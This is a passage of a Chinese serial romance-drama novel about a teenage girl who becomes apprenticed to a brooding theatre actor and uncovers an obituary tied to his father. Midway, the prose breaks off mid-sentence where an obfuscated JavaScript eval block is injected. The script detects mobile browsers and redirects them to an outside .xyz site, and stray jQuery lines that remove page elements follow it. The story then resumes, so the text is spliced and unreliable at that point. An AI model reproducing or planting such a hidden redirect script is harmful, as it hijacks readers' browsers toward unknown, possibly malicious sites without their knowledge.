剧场的顶灯亮了灭，灭了又亮。
后台拆景的声音此起彼伏，石膏做的月亮顺着木板滑下，砰然落地，白色尘屑像纸雪般炸开，落满幕帘。
突然，“当”一声金属砸地，闷响沉响，仿佛砸在心头。
沈清雨猛地一震，簪子从发间滑落，墨发披散成水。
她没空顾头发，提着裙摆就冲向配电室。
一座老旧的铁架倒在地上，玻璃碎了一地，命运转轮的碎片七零八落，像被砸烂的星图。
老周扶着腰站在一旁，眉头皱得死紧。
“我来，您别动。”沈清雨咬着簪子，裙子像水墨晕开，蹲下就捡起碎片，一边拼接一边报数。
“骨架加鱼线固定，接缝贴金箔……六点前，能修好。”
老周举着手电，愣了一下。
“丫头，学得挺快啊。”
“我奶奶的凤冠去年被猫踹散了，我花一晚上缝回来的。”她笑，睫毛上反射出彩光。
老周突然想起他家孙女偷吃麦芽糖的样子，不由失笑。
天色泛黄时，转轮修好了。
她刚回到化妆间，就撞上了老郑塞过来的一把松子：“去劝劝你师父吧，第七稿又撕了。”
她一愣。
门没锁，轻轻一推，一股霉味和烟味扑面而来，混着雪松和沉香的气息。
徐然洲坐在妆镜前，灰蓝色的戏服滑下一边肩，烟在他指尖明明灭灭，脚边是一地被红笔划烂的剧本草稿。
他眯起眼，看她。
她站在逆光里，轮廓被夕阳勾出一层柔光，身上的茉莉香像雾一样，缓缓涌进来。
“郑师傅说……”
“又是你。”他嗓音低哑，“上回你修幕布，这回修玻璃，小丫头，跟我混，是为了学这些破玩意儿？”
“徐老师。”她走进两步，眼睛亮晶晶的，“一年零三个月，我看了您127场戏。”
他手一顿，指间的烟头被掐了一半，却忘了扔。
她轻声补了一句：“《乌鸦与裁缝》里，您每次撕信纸的角度都不一样。第五场谢幕时，您左手小指在发抖。”
他沉默。
然后，第一次，认真地看她。
这一看，便看到了她睫毛上的彩玻碎屑，一颗颗像星星挂在眼角，不肯落。
“小朋友。”他伸手去拿桌上的薄荷糖，糖纸“嗒”一声响，“你知道……”
沈清雨踮起脚，把一个保温杯放到他妆镜前。
玻璃壁里，几朵茉莉在热水中轻轻浮起，撞出清脆的声响。
徐然洲看着镜子里倒影：自己肩头垂下的戏服穗子，刚好扫过她的发尾，像命运随手打的一个结。
“我能拜您为师吗？”她的声音清亮而稳，比梨园敬茶更虔诚。
窗外紫藤的影子落在她脸上，把十五岁的期待剪成一块块碎金。
他没动，手在杯壁停了三秒。
茶水倒映出他眼尾没卸干净的油彩，也映出她睫毛的颤动。
“为什么是茉莉？”他低声问。
“戏词里说：‘茉莉开时香满裾’，能镇魂。”她笑，笑意软得像初春的风，“我奶奶说，以前演出时，幕布常漏雨，她们就在台后煮茉莉花茶。”
他低头喝了一口热茶。
茶刚咽下，宽大的戏袖掠过她发顶，扬起光尘。
“你知道以前撤资后我们怎么演的吗？拿报纸糊背景板。”
他说着，随手把一张破稿纸糊到墙上，茶水在墨迹中晕开，像一棵被风吹乱的树。
“把荒诞，贴成艺术。”
沈清雨抚平那张纸的边角：“上个月《浮生记》第二幕，您用撕碎的合同折了纸飞机。”
他愣住，过了几秒，笑了。
那笑声很轻，却像碎玻璃掉进棉絮里，冷，却不扎人。
“那时候暖气坏了，我们啃着凉烧饼排了三天戏。盒饭冷成一块，油味比松香还难闻。”
他随手掏出一袋冷烧饼递给她，手背有浅浅的旧伤痕。
她接过时，指尖不小心碰到他掌心的茧。
油纸袋里掉出一张折过的节目单，边角画着一颗小小的笑脸菩萨。
“谢幕那场《荒诞寺》，您把面具扔观众席了？”
“太重了。”他低声，“压得人喘不过气。”
她望向窗外霞光，轻声哼起《思凡》的调子。
“徐老师，我想学。”
话音落下，道具间灯泡“啪”地炸出火花，玻璃迸裂的那一瞬，他看见她眼睛里的光，比所有追光灯都亮。
他忽然想起，刚才撕掉的剧本第十三页上，有一句台词：
——菩萨低眉，是怕看见信众眼里的火。
他抬手，揉了揉眉心。
“明早六点，带上你的茉莉花，准时来。”
说着，他把椅背上的月白戏袍朝她一丢。
“先把这破洞补了。”
沈清雨稳稳接住，看到他手腕处新结的伤痂，白得刺眼。
“一天天忙来忙去，老胡的补了，怎么我的你就不记得？”
她把戏袍折好，青缎在指尖轻滑。
“周师父说过，您不喜欢别人碰您的东西。”她眼里有一丝笑，像风拂旧墙花。
这话太软了。
徐然洲偏头，不再说话。
夜色漫进窗棂，慢慢吞没整座剧场。
他坐回妆镜前，点燃今天第三根烟，烟雾缭绕间，剧本扉页上那行字终于模糊成灰：
“世间所有的相遇，都是久别重逢。”
而那支落地的沉香木簪，此刻倒在墙边，投下斜长的影子。
那分明是《游园惊梦》里的杜丽娘——
却偏偏，闯进了他亲手写下的荒诞戏里。
*
十月的第一场雨砸下来时，沈清雨蹲在巷口报刊亭前，捧着一把硬币数得专注。
老板第三次从报纸后抬头看她：“小姑娘，你买这么多旧报纸，不会是要糊墙吧？”
她弯起眼，笑得乖巧：“练习用的。”
第二十份《京城日报》被她塞进帆布袋。
雨滴顺着她的发梢滑落，下颌一偏，正巧滴进袋口一滴不偏不倚。她怀里还抱着个保温杯，热气扑在玻璃上，雾出一朵茉莉花。
老板怔了怔，像在街头看见刚从戏台退场的花旦。
没人知道，为了找到那一页讣告，她跑了三天，翻了七家档案馆。最后，在一位退休编辑家的腌菜坛子底下，找到了它。
那一刻，雨停了，一束夕阳穿过乌云，恰好照在泛黄的纸上——“徐明华”三个字清晰如初。
她怔在那里，仿佛整座城都静了。
剧场灯光亮起时，沈清雨站在消防通道口拧干裙角，正准备上楼，就听见铁梯上有脚步声传来。
是徐然洲。
黑色高领毛衣包着清瘦身形，一手提着饭盒，一手插兜，从雨夜里缓缓走来，像一尊从石雕里刻出来的人物。
沈清雨一慌，袋子滑落，报纸哗啦啦散了一地。
那张1988年的《西桥周报》讣告，恰好落在他脚边。
他停下，低头弯腰，动作干净利落。袖口滑落，露出手腕上一块形状怪异的旧疤，像是半化的雪花。
“《西桥周报》？”他嗓音低哑，带着几分压抑的旧烟味，“这哪儿翻出来的？”
沈清雨咬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627953|172469||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着唇：“图书馆的胶片室……原件，在——”
“台风夜垮塌的纺织厂。”他截断她的句子，眼神冷得像一柄藏在档案袋里的刀。“死了十二个。值班电工，徐明华，是其中之一。”
说完，铁梯嗡嗡颤了两下。
“跟上。”他头也不回，往道具间走。
那间道具室堆着前一场剧的碎道具。桌腿瘸着，灯泡发黄，空气里混着潮气和线香的味道。
徐然洲踢开一块木板，把饭盒往桌上一搁：“开始。”
他将那一叠旧报纸推到她面前。
“从头读。”
“1995年5月7日，《晨报》讣告版——”沈清雨刚开口，筷子啪地一声，敲在桌上。
“情绪收起来。”他眼神凌厉，“你在读讣告，不是在悼词里哭天喊地。像播天气预报一样，听懂了吗？”
她吞下哽咽，强迫自己稳住情绪，一份接一份，平声朗读。眼圈却悄悄红了。
读到第七份时，徐然洲动了。
啪——
饭盒被他推到墙边，塑料盖子砸出一声脆响。
“停。”他抽出她手里那份《西桥周报》，指尖稳稳按住“徐明华”三个字。“这个怎么说？”
沈清雨看着他眼底那团隐忍的火，低声答：“台风夜，值班电工抢修线路时触电身亡，年仅三十一。”
顿了顿，她又轻声说：“留下一个儿子。”
空气沉到极点。
他掏出打火机，啪一声，火舌亮起，仿佛要点燃一场封尘的悲剧。
沈清雨猛地按住他的手。
她掌心冰凉，轻轻覆住他那道烫疤。
“您让我找这些，”她轻声说，“不就是为了让人记住，他们是怎么活过的吗？”
啪——
打火机滚进纸堆，烧出一道弯弯的焦痕。
徐然洲甩开她的手，手腕扫落了保温杯，滚烫的茉莉茶淌了一地。
花香炸开，裹着霉味，在旧道具室里翻涌成浓烈的记忆。
沈清雨俯身捡纸，一张张地捋平，像缝补一场年久的梦。
忽然，头顶落下一团灰布。
“明晚开始，”他声音冷淡，“我教你练台词。”
说完就转身离开，只留下一句话，和一截灰色围巾。
围巾带着淡淡的雪松香，很冷，却很稳。
沈清雨蹲在角落，继续拼那张讣告时，突然发现某一角，有人用铅笔反复描过。
是个戴安全帽的小人，正在画一道闪电。
锁门时，她回头一望，忽听道具室又响起轻微声响。
她从门缝看见——
徐然洲蹲在地上，正一张张，把那份讣告小心拼回。他动作慢得近乎克制，眉眼藏在额发下，肩膀微微颤着，像一只被冻雨困住的孤鹤。
雨，又下来了。
沈清雨躲在站台下，翻开被雨打湿的笔记本。
那张戏票上的字迹早已晕染，只有一个名字还清晰：《乌鸦与裁缝》。
那是去年冬天，她在人群散尽后，偷偷绕到后台巷子。
昏黄街灯下，一个穿灰色大衣的男人蹲下身，喂一只瘦猫，肩头积着未化的雪，像极了……一棵沉默到底的梧桐。
而那件大衣的纹路，和他今晚穿的，一模一样。
沈清雨心头一颤。
她指尖轻扣笔记本，轻声叹了口气：
“徐然洲啊。”
反派吗？台上笑着，台下哭着。
明明有着比谁都软的心肠，却偏偏落得余生孤寂的下场吗？
还真是不公平啊。
但没关系。
她的师父，她来护。